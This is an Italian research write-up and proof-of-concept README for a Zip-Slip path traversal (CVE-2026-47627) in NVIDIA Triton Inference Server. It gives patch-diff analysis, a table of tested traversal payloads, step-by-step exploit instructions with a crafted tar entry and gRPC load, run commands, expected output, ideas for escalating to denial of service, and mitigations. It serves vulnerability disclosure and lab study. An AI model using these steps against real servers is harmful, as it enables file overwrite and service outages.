
Proof-of-concept exploit per CVE-2026-47627, una vulnerabilità di path traversal in NVIDIA Triton Inference Server che porta alla scrittura arbitraria di file tramite Zip-Slip. Include analisi dettagliata, ambiente di laboratorio e script di exploit con un clic.
Writeup completo dei risultati della ricerca e PoC in questo repo (immagine
nvcr.io/nvidia/tritonserver:26.05-py3/server v2.69.0). Il repo è configurato per essere sempreexplicitcosì il PoC funziona senza riavvio via gRPC.
| Campo | Valore |
|---|---|
| CVE | CVE-2026-47627 |
| CNA | [email protected] |
| Pubblicazione | 2026-08-18 (NVD in Attesa di Analisi) |
| Bollettino | NV 5865 → https://github.com/NVIDIA/product-security/tree/main/2026/5865 |
| CVSS 3.1 | 9.8 CRITICO AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| CWE | CWE-22 Path Traversal |
| Versioni Affette | 0.0-26.05 (server v2.69.0 / core r26.05) |
| Corretta in | 26.06 (server v2.70.0 / core r26.06) |
| Impatto | DoS (descrizione CNA) — questa ricerca dimostra scrittura di file fuori da /models via Zip-Slip, che può essere estesa a DoS/esaurimento risorse |
| Crediti | Martin Brodeur |
Nota onesta: La descrizione CNA riporta solo
path traversal → DoSsenza dettagli. Questo writeup ricostruisce la posizione del bug tramite diffr26.05..r26.06e test diretti nel container26.05-py3.
Immagine: nvcr.io/nvidia/tritonserver:26.05-py3 (TRITON_VERSION 2.69.0)
Compose sempre explicit (già patchato in questo repo):
# docker-compose.yml:12
command: ["tritonserver", "--model-repository=/models", "--model-control-mode=explicit", "--log-verbose=0"]
Anche run_triton.bat:10, run_triton.ps1:11, run_triton.sh:12 sono già explicit.
Modalità Triton:
NONE (default upstream) → carica una volta all'avvio, POST /v2/repository/models/.../load → 503, bisogna riavviare per caricare nuovi modelli.POLL → esegue la scansione del repo ogni secondo, auto-carica, blocca comunque il caricamento esplicito.EXPLICIT (questo repo) → non esegue scansioni, ma apre gRPC load_model / POST /load → PoC senza riavvio via gRPC.Porte:
| 8000 | HTTP REST | v2/health, v2/models, v2/repository |
| 8001 | gRPC | RepositoryModelLoad, ModelInfer |
| 8002 | Metriche | Prometheus |
Modelli iniziali:
model_repository/
├── echo_python/ (backend python, model.py)
│ └── 1/model.py
└── identity_onnx/ (onnxruntime, model.onnx ~1KB)
Avvio rapido:
docker compose up -d
docker compose logs -f
py scripts/client_test.py # health + infer identity_onnx
Input utente (model_name / voce tar) ──► join(parent, child) ──► canonicalize ──► controllo "child dentro parent?" ──► apertura file
│ │ │ │ │
└──► "../tmp/pwn" /models + "/../tmp/pwn" = /models/../tmp/pwn → /tmp/pwn rfind vs find + controllo '/' FileExists / estrazione
join senza canonicalize o controllo rfind(parent,0)==0 errato (corrispondenza parziale /models vs /models_evil), allora ../ può fuoriuscire./dev/zero, /proc/self/mem, o un tar contenente ../../ che sovrascrive file di sistema → hang / OOM / crash.Tre domande di ricerca (dal report iniziale):
model_name in gRPC RepositoryModelLoad, voce tar EXECUTION_ENV_PATH, override file:, TRITON_BATCH_STRATEGY_PATH.posixpath.join(repo, model_name) / temp_dir + "/" + file_name + IsChildPathEscapingParentPath.DoS via esaurimento risorse / hang. In questo repo è dimostrata la scrittura di file in /tmp/poc_marker.Repo core (r26.05..r26.06):
src/filesystem/api.cc:407 IsChildPathEscapingParentPath — fix dcb315d + 72f3d9b:
// VULNERABILE (r26.05):
absolute_child.rfind(absolute_parent,0) != 0
// → bug di corrispondenza parziale: il prefisso "/models" di "/models_evil/file" è considerato interno
// CORRETTO (r26.06):
canonical_child.find(canonical_parent,0)==0 &&
((child.size() > parent.size() && child[parent.size()]=='/') || child.size()==parent.size())
// → deve esserci '/' dopo il prefisso, "/models_evil" ora è correttamente esterno
Usato in src/backend_model.cc:196 (TRITON_BATCH_STRATEGY_PATH) e src/model_repository_manager/model_repository_manager.cc:162 (file:).
src/model_repository_manager/model_repository_manager.cc:62 ValidateModelName — core#472/#481 (marzo 2026, già in 26.05 ma rafforzata in 26.06):
if (trimmed==".." || trimmed.find('/')!=npos) return INVALID_ARG "must not contain path traversal"
Questo fa sì che gRPC load_model('../tmp/pwn') → 400 INVALID_ARGUMENT in 26.05 (già bloccato). Ma %2f (/ codificato) passa perché non è un / letterale → 500 poll letterale.
python_be.cc:292 EXECUTION_ENV_PATH — e520f8c7 test zipslip_test.py:
Il tar viene estratto senza controllo di .. / percorsi assoluti. La voce ../../poc_marker da /models/poc_exploit/malicious_env.tar.gz viene estratta in /tmp/poc_marker (fuori dalla directory del modello). Fix in 26.06: usa ARCHIVE_EXTRACT_SECURE_NODOTDOT|NOABSOLUTEPATHS + controllo IsChildPathEscapingParentPath.
Repo server (r26.05..r26.06): solo sagemaker_server.cc:1027 (controllo RE2::FullMatch) + http_server.cc:2440 (atoi→stoi), non sono il percorso di questa CVE.
Conclusione: Il percorso model_name via HTTP/gRPC è già bloccato in 26.05 da ValidateModelName, ma lo Zip-Slip del tar non lo è — è questo che viene sfruttato dal PoC di questo repo.
| Vettore | Payload | Risultato 26.05 | Colpito? |
|---|---|---|---|
HTTP raw ../ | POST /v2/repository/models/../tmp/pwn/load | 404 (routing normalizzato) | ❌ |
HTTP codificato ..%2f | POST /v2/repository/models/..%2ftmp%2fpwn/load | 500 letterale, poll /models/..%2ftmp%2fpwn non esiste | ❌ (500 falso, non traversal) |
gRPC raw ../tmp/pwn | load_model('../tmp/pwn') | 400 INVALID_ARGUMENT | ❌ (già bloccato) |
gRPC codificato ..%2f | load_model('..%2ftmp%2fpwn') | 500 poll letterale | ❌ |
Override file: ../models_evil | file:../models_evil/pwn | 400/500 a seconda della corrispondenza parziale | ⚠️ (dipende dal bug IsChildPathEscapingParentPath, ma già bloccato da ValidateModelName per model_name) |
Tar EXECUTION_ENV_PATH ../../poc_marker | malicious_env.tar.gz voce ../../poc_marker | 200 + file in /tmp/poc_marker | ✅ VULNERABILE |
L'analogia
500 vs 400nel vecchio writeup era sbagliata:500= file non esistente (porta inesistente),400= rifiutato dalla validazione (porta chiusa a chiave). Nessuno dei due entra. Solo200+ file in/tmpè una prova.
Idea: Il parametro EXECUTION_ENV_PATH del backend Python punta a $$TRITON_MODEL_DIRECTORY/malicious_env.tar.gz. Quando viene eseguito load_model('poc_exploit'), il backend pb_env.cc:292 estrae il tar senza sanitizzazione. La voce ../../poc_marker fuoriesce da .../poc_exploit/ verso /tmp/poc_marker.
Passaggi del PoC (automatici in scripts/exploit.py:28 & exploit.ps1:20):
echo_python → poc_exploit (scripts/exploit.py:35)config.pbtxt (scripts/exploit.py:40):
parameters: {key: "EXECUTION_ENV_PATH", value: {string_value: "$$TRITON_MODEL_DIRECTORY/malicious_env.tar.gz"}}
scripts/exploit.py:44):
TarInfo(name='../../poc_marker', size=6, mode=0o644) # → /tmp/poc_marker
TarInfo(name='bin/activate', mode=0o755)
gRPC load_model('poc_exploit') (scripts/exploit.py:60) — senza riavvio perché explicit.docker exec tritonserver-test cat /tmp/poc_marker → pwned (scripts/exploit.py:81)Prerequisiti: Docker, immagine 26.05-py3 già avviata con docker compose up -d (il repo è già explicit).
Python (senza riavvio, via gRPC):
py scripts/exploit.py # auto-rileva explicit → gRPC
py scripts/exploit.py --keep # mantiene gli artefatti per verifica manuale
# verifica manuale: docker exec tritonserver-test cat /tmp/poc_marker
# pulizia manuale: docker exec tritonserver-test rm -f /tmp/poc_marker
PowerShell:
powershell -ExecutionPolicy Bypass -File exploit.ps1
powershell -ExecutionPolicy Bypass -File exploit.ps1 -Keep
Ripristina a MODE_NONE (se vuoi il default upstream):
# modifica docker-compose.yml:12 rimuovendo --model-control-mode=explicit
docker compose up -d --force-recreate
Test di blocco (deve dare 400/404/500, non 200):
py scripts/test_http_grpc_blocked.py # era nel vecchio repo, ora rimosso — usa il log di exploit.py
# oppure manuale:
curl -i -X POST http://127.0.0.1:8000/v2/repository/models/..%2ftmp%2fpwn/load -H "Content-Type: application/json" -d "{}" # 500
py -3 -c "import tritonclient.grpc as g; g.InferenceServerClient('127.0.0.1:8001').load_model('../tmp/pwn')" # 400
Vulnerabile (26.05) — output di exploit.py:
[*] Triggering exploit via gRPC load (no restart)...
[+] gRPC load sent
[+] VULNERABLE: /tmp/poc_marker exists outside /models
cat: pwned
[+] Exploit succeeded — file write outside repository confirmed
Verifica:
docker exec tritonserver-test ls -l /tmp/poc_marker # -rw-r--r-- 1 root root 6 ... /tmp/poc_marker
docker exec tritonserver-test cat /tmp/poc_marker # pwned
docker logs tritonserver-test --tail 20 | grep Extracting # Extracting Python execution env .../malicious_env.tar.gz
Patchato (26.06) — atteso:
[-] Not vulnerable: /tmp/poc_marker not found
# log: Path contains '..' (oppure Path is absolute)
HTTP/gRPC .. deve dare 400, non 500:
# 26.05 gRPC raw ../ → 400 INVALID_ARGUMENT (già bloccato da ValidateModelName)
# 26.05 gRPC ..%2f → 500 poll letterale (bypassa la validazione ma non è un vero traversal)
# 26.06 entrambi → 400
Il CNA scrive DoS, ma questo Zip-Slip può fare sovrascrittura di file → DoS:
model.py / config.pbtxt di altri modelli → il modello non si carica → 503bin/activate o FIFO /tmp/fifo → thread pb_env.cc in hang → UNAVAILABLEload_model con tar ../../dev/zero (infinito) → OOMQuesto repo si concentra sulla scrittura di file come prova del traversal; il DoS può essere esteso con un tar contenente 1/model.py con loop infinito.
26.06 (server v2.70.0, core r26.06) — IsChildPathEscapingParentPath + ARCHIVE_EXTRACT_SECURE_NODOTDOT.8000/8001 a internet (reverse proxy + autenticazione).. e %2f negli URL e in EXECUTION_ENV_PATHEXECUTION_ENV_PATH del backend Python se non necessariodocker logs tritonserver-test | grep "Path contains\|failed to poll.*%2f".
├── model_repository/
│ ├── echo_python/ # esempio backend python
│ └── identity_onnx/ # esempio onnxruntime
├── scripts/
│ ├── exploit.py:1 # PoC principale (Python, oneclick, gRPC, no restart)
│ ├── generate_model.py # rigenera identity_onnx
│ └── client_test.py # test health + infer
├── exploit.ps1:1 # PoC principale (PowerShell, oneclick)
├── docker-compose.yml:12 # sempre explicit
├── run_triton.bat:10 / .ps1:11 / .sh:12 # sempre explicit
├── requirements.txt # numpy, onnx, requests, tritonclient[http,grpc], grpcio, protobuf
└── README.md # questo writeup
Rimossi: exploit_cve_*.py, poc_zipslip_simple.py, check_mode.py, test_http_grpc_blocked.py, cleanup_poc.py, test_poc.ps1, null, model_repository/zipslip_*, /tmp/poc_marker.
https://github.com/NVIDIA/product-security/tree/main/2026/5865 (5865.md, CVE-2026-47627.json)https://nvd.nist.gov/vuln/detail/CVE-2026-47627 (In Attesa di Analisi)dcb315d (Modernize Child Path), 72f3d9b (test child path), e520f8c7 (test zipslip), 50830ba/66f09f8 (ValidateModelName)v2.70.0 (690f9dd)| Data | Evento |
|---|---|
| 2026-03-03 | core#472 ValidateModelName |
| 2026-03-16 | core#481 trim POSIX |
| 2026-05-18 | core#497 IsChildPathEscapingParentPath |
| 2026-06-02 | server#8857 test zipslip |
| 2026-06-26 | 26.06 / v2.70.0 rilascio patch |
| 2026-08-18 | Pubblicazione CVE |
| 2026-09-02 | PoC di questo repo verificato su 26.05-py3 → VULNERABLE |
Questo PoC è per scopi educativi e laboratorio chiuso. Non esporre 8000/8001 senza autenticazione. Dopo la demo esegui sempre exploit.py --keep e poi docker exec tritonserver-test rm -f /tmp/poc_marker e Remove-Item -Recurse model_repository/poc_exploit.